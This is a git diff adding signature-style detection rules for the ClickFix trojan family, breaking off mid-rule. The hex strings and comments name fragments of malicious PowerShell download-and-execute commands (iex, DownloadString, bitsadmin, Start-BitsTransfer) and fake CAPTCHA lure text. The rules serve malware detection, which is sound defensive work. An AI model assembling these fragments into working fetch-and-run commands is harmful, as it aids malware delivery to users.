{2f 00 57 00 2a 00 2a 00 33 00 32 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 2a 00 } //100 /W**32c??l.e* + $a_00_1 = {57 00 2a 00 5c 00 2a 00 33 00 32 00 5c 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 2a 00 } //100 W*\*32\c??l.e* + $a_00_2 = {2e 00 74 00 78 00 74 00 27 00 20 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 .txt' | powershell + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*10) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFM_MTB.yar new file mode 100644 index 0000000000..a4350f6b74 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DFM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_02_0 = {2e 00 73 00 65 00 6e 00 64 00 28 00 29 00 3b 00 [0-32] 5b 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //100 + $a_00_1 = {6f 00 70 00 65 00 6e 00 28 00 27 00 47 00 45 00 54 00 27 00 2c 00 24 00 } //10 open('GET',$ + $a_00_2 = {72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 42 00 6f 00 64 00 79 00 } //10 responseBody + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFO_MTB.yar new file mode 100644 index 0000000000..d33d20fdaf --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFO_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DFO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {2e 00 73 00 65 00 6e 00 64 00 28 00 29 00 3b 00 69 00 65 00 78 00 28 00 24 00 } //100 .send();iex($ + $a_00_1 = {6f 00 70 00 65 00 6e 00 28 00 27 00 47 00 45 00 54 00 27 00 2c 00 24 00 } //10 open('GET',$ + $a_00_2 = {72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 54 00 65 00 78 00 74 00 } //10 responseText + $a_02_3 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-20] 3b 00 24 00 } //10 + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_02_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFS_MTB.yar new file mode 100644 index 0000000000..4fbc2b0834 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DFS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 63 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 5d 00 3a 00 3a 00 53 00 65 00 74 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 69 00 7a 00 65 00 28 00 } //10 [console]::SetWindowSize( + $a_00_2 = {69 00 65 00 78 00 28 00 5b 00 49 00 4f 00 2e 00 53 00 74 00 72 00 65 00 61 00 6d 00 52 00 65 00 61 00 64 00 65 00 72 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 28 00 5b 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 } //10 iex([IO.StreamReader]::new([Net.WebRequest]::Create( + $a_00_3 = {2e 00 52 00 65 00 61 00 64 00 54 00 6f 00 45 00 6e 00 64 00 28 00 29 00 3b 00 24 00 } //10 .ReadToEnd();$ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFX_MTB.yar new file mode 100644 index 0000000000..ef3a462ed4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFX_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_ClickFix_DFX_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 08 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {3b 00 20 00 26 00 28 00 67 00 63 00 6d 00 20 00 24 00 } //10 ; &(gcm $ + $a_00_2 = {3d 00 27 00 2a 00 77 00 72 00 27 00 3b 00 } //10 ='*wr'; + $a_00_3 = {3d 00 27 00 2a 00 77 00 72 00 27 00 20 00 3b 00 } //10 ='*wr' ; + $a_00_4 = {3d 00 28 00 27 00 2a 00 27 00 2c 00 27 00 77 00 72 00 27 00 29 00 } //10 =('*','wr') + $a_00_5 = {7c 00 26 00 24 00 } //1 |&$ + $a_00_6 = {7c 00 26 00 20 00 24 00 } //1 |& $ + $a_00_7 = {7c 00 20 00 26 00 20 00 24 00 } //1 | & $ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFY_MTB.yar new file mode 100644 index 0000000000..ea8fc7ee5c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DFY_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DFY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DFY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 } //10 [ScriptBlock]::Create( + $a_00_2 = {2f 00 48 00 57 00 49 00 44 00 } //10 /HWID + $a_00_3 = {2f 00 4f 00 68 00 6f 00 6f 00 6b 00 } //10 /Ohook + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DF_MTB.yar index 6cc02c6794..70cdf220f5 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DF_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DF_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DF_MTB{ meta: - description = "Trojan:Win32/ClickFix.DF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1a 00 1a 00 16 00 00 " + description = "Trojan:Win32/ClickFix.DF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1a 00 1a 00 18 00 00 " strings : $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta @@ -26,7 +26,9 @@ rule Trojan_Win32_ClickFix_DF_MTB{ $a_00_19 = {48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human: CAPTCHA $a_00_20 = {48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human - CAPTCHA $a_00_21 = {4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 } //1 Microsoft Windows: Fix Internet DNS Service reconnect + $a_00_22 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_23 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1) >=26 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*-1000+(#a_00_23 & 1)*-1000) >=26 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGB_MTB.yar new file mode 100644 index 0000000000..47f3c30336 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGB_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_ClickFix_DGB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 07 00 00 " + + strings : + $a_00_0 = {2e 00 74 00 78 00 74 00 27 00 20 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 .txt' | powershell + $a_00_1 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 .txt | powershell + $a_00_2 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //100 .txt | Invoke-Expression + $a_00_3 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 69 00 65 00 78 00 } //100 .txt | iex + $a_00_4 = {2e 00 20 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 } //10 . curl.exe + $a_00_5 = {6d 00 69 00 6e 00 20 00 77 00 67 00 65 00 74 00 } //10 min wget + $a_00_6 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGC_MTB.yar new file mode 100644 index 0000000000..0d91f9bc3c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGC_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win32_ClickFix_DGC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 0c 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 5c 00 } //10 $env:TEMP\ + $a_00_2 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 } //10 wscript + $a_02_3 = {69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 29 00 } //1 + $a_02_4 = {69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2f 00 } //1 + $a_02_5 = {69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 29 00 } //1 + $a_02_6 = {69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2f 00 } //1 + $a_00_7 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 } //-100 http://127.0.0.1 + $a_00_8 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 } //-100 http://10. + $a_00_9 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 } //-100 http://172. + $a_00_10 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 } //-100 http://192. + $a_00_11 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 35 00 35 00 2e 00 } //-100 http://255. + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_00_7 & 1)*-100+(#a_00_8 & 1)*-100+(#a_00_9 & 1)*-100+(#a_00_10 & 1)*-100+(#a_00_11 & 1)*-100) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGD_MTB.yar new file mode 100644 index 0000000000..af57f9ff6b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGD_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DGD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2e 00 70 00 73 00 31 00 27 00 3b 00 69 00 65 00 78 00 28 00 24 00 } //10 .ps1';iex($ + $a_00_2 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_3 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 DownloadString($ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=112 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGF_MTB.yar new file mode 100644 index 0000000000..00f9666308 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGF_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DGF_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 27 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //10 Start-Process 'https:// + $a_00_2 = {3f 00 73 00 75 00 62 00 69 00 64 00 3d 00 } //10 ?subid= + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGI_MTB.yar new file mode 100644 index 0000000000..23eb6352f9 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGI_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DGI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {29 00 7c 00 25 00 7b 00 } //10 )|%{ + $a_00_2 = {5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 24 00 } //1 [ScriptBlock]::Create((Invoke-RestMethod $ + $a_00_3 = {5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 28 00 69 00 72 00 6d 00 20 00 24 00 } //1 [ScriptBlock]::Create((irm $ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGL_MTB.yar new file mode 100644 index 0000000000..087003e717 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGL_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DGL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_00_0 = {3d 00 22 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 5c 00 24 00 28 00 } //100 ="$env:TEMP\$( + $a_00_1 = {2e 00 64 00 6f 00 66 00 27 00 3b 00 24 00 } //10 .dof';$ + $a_00_2 = {69 00 77 00 72 00 20 00 24 00 } //10 iwr $ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGN_MTB.yar new file mode 100644 index 0000000000..4a243c08a8 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGN_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DGN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa3 00 ffffffa3 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 24 00 } //50 wscript $ + $a_00_2 = {41 00 63 00 74 00 69 00 76 00 65 00 58 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 } //10 ActiveXObject( + $a_00_3 = {2e 00 73 00 70 00 6c 00 69 00 74 00 28 00 } //1 .split( + $a_00_4 = {72 00 65 00 76 00 65 00 72 00 73 00 65 00 } //1 reverse + $a_00_5 = {2e 00 72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 54 00 65 00 78 00 74 00 } //1 .responseText + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=163 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGR_MTB.yar new file mode 100644 index 0000000000..88c8aa29b0 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DGR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //100 + $a_00_1 = {53 00 74 00 61 00 72 00 74 00 2d 00 42 00 69 00 74 00 73 00 54 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 2d 00 53 00 6f 00 75 00 72 00 63 00 65 00 20 00 68 00 74 00 74 00 70 00 } //10 Start-BitsTransfer -Source http + $a_00_2 = {2d 00 44 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 5c 00 } //10 -Destination $env:TEMP\ + $a_00_3 = {3b 00 20 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //10 ; Start-Process $env:TEMP + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGS_MTB.yar new file mode 100644 index 0000000000..7288cb3cde --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DGS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //100 + $a_00_1 = {62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 24 00 } //10 bitsadmin /transfer $ + $a_00_2 = {2d 00 6a 00 6f 00 69 00 6e 00 28 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //10 -join($env:TEMP + $a_00_3 = {3b 00 26 00 28 00 24 00 } //10 ;&($ + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGX_MTB.yar new file mode 100644 index 0000000000..3448a3283c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DGX_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //100 + $a_00_1 = {64 00 6c 00 3d 00 31 00 3b 00 20 00 69 00 65 00 78 00 20 00 24 00 } //10 dl=1; iex $ + $a_00_2 = {64 00 6c 00 3d 00 31 00 3b 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //10 dl=1; invoke-expression $ + $a_00_3 = {3d 00 20 00 69 00 77 00 72 00 } //1 = iwr + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGY_MTB.yar new file mode 100644 index 0000000000..f216a429c2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DGY_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DGY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DGY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2e 00 70 00 68 00 70 00 27 00 3b 00 24 00 } //10 .php';$ + $a_00_2 = {3d 00 27 00 69 00 77 00 27 00 3b 00 24 00 } //10 ='iw';$ + $a_00_3 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 Invoke-Expression $ + $a_00_4 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHI_MTB.yar new file mode 100644 index 0000000000..1439c78f14 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHI_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DHI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DHI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 06 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 [0-50] 24 00 } //100 + $a_00_1 = {2b 00 28 00 47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 29 